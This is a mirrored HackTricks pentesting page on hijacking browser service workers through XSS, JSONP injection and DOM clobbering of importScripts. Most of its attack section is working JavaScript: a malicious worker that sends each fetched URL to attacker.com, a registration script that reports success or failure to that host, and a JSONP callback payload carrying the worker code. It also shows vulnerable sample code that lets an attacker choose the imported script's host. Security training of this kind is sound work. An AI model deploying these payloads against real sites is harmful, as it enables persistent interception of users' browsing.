mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			136 lines
		
	
	
		
			7.4 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			136 lines
		
	
	
		
			7.4 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Abusing Service Workers
 | |
| 
 | |
| 
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 | |
| Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 | |
| 
 | |
| <details>
 | |
| 
 | |
| <summary>Support HackTricks</summary>
 | |
| 
 | |
| * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 | |
| * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 | |
| * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 | |
| 
 | |
| </details>
 | |
| {% endhint %}
 | |
| 
 | |
| ## Basic Information
 | |
| 
 | |
| A **service worker** is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing **offline and background processing** capabilities. Detailed information on service workers can be found [here](https://developers.google.com/web/fundamentals/primers/service-workers). By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.
 | |
| 
 | |
| 
 | |
| ### Checking for Existing Service Workers
 | |
| 
 | |
| Existing service workers can be checked in the **Service Workers** section of the **Application** tab in **Developer Tools**. Another method is visiting [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) for a more detailed view.
 | |
| 
 | |
| ### Push Notifications
 | |
| 
 | |
| **Push notification permissions** directly impact a **service worker's** ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits.
 | |
| 
 | |
| ## Attack Creating a Service Worker
 | |
| 
 | |
| In order to exploit this vulnerability you need to find:
 | |
| 
 | |
| * A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file
 | |
| * A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**.
 | |
| 
 | |
| In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** (this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response):
 | |
| 
 | |
| ```javascript
 | |
| self.addEventListener('fetch', function(e) {
 | |
|   e.respondWith(caches.match(e.request).then(function(response) {
 | |
|     fetch('https://attacker.com/fetch_url/' + e.request.url)
 | |
| });
 | |
| ```
 | |
| 
 | |
| And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not:
 | |
| 
 | |
| ```javascript
 | |
| <script>
 | |
| window.addEventListener('load', function() {
 | |
| var sw = "/uploaded/ws_js.js";
 | |
| navigator.serviceWorker.register(sw, {scope: '/'})
 | |
|   .then(function(registration) {
 | |
|     var xhttp2 = new XMLHttpRequest();
 | |
|     xhttp2.open("GET", "https://attacker.com/SW/success", true);
 | |
|     xhttp2.send();
 | |
|   }, function (err) {
 | |
|     var xhttp2 = new XMLHttpRequest();
 | |
|     xhttp2.open("GET", "https://attacker.com/SW/error", true);
 | |
|     xhttp2.send();
 | |
|   });
 | |
| });
 | |
| </script>
 | |
| ```
 | |
| 
 | |
| In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example:
 | |
| 
 | |
| ```javascript
 | |
| var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
 | |
| ```
 | |
| 
 | |
| There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
 | |
| 
 | |
| The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
 | |
| 
 | |
| ## Abusing `importScripts` in a SW via DOM Clobbering
 | |
| 
 | |
| The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
 | |
| 
 | |
| **This even bypasses CSP protections.**
 | |
| 
 | |
| **Example vulnerable code:**
 | |
| 
 | |
| * **index.html**
 | |
| 
 | |
| ```html
 | |
| <script>
 | |
| navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
 | |
|   // attacker controls location.search
 | |
| </script>
 | |
| ```
 | |
| 
 | |
| * **sw.js**
 | |
| 
 | |
| ```javascript
 | |
| const searchParams = new URLSearchParams(location.search);
 | |
| let host = searchParams.get('host');
 | |
| self.importScripts(host + "/sw_extra.js");
 | |
| //host can be controllable by an attacker
 | |
| ```
 | |
| 
 | |
| ### With DOM Clobbering
 | |
| 
 | |
| For more info about what DOM Clobbering is check:
 | |
| 
 | |
| {% content-ref url="dom-clobbering.md" %}
 | |
| [dom-clobbering.md](dom-clobbering.md)
 | |
| {% endcontent-ref %}
 | |
| 
 | |
| If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**.
 | |
| 
 | |
| For an example of this check the reference link.
 | |
| 
 | |
| ## References
 | |
| 
 | |
| * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 | |
| Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 | |
| 
 | |
| <details>
 | |
| 
 | |
| <summary>Support HackTricks</summary>
 | |
| 
 | |
| * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 | |
| * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 | |
| * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 | |
| 
 | |
| </details>
 | |
| {% endhint %}
 | |
| 
 |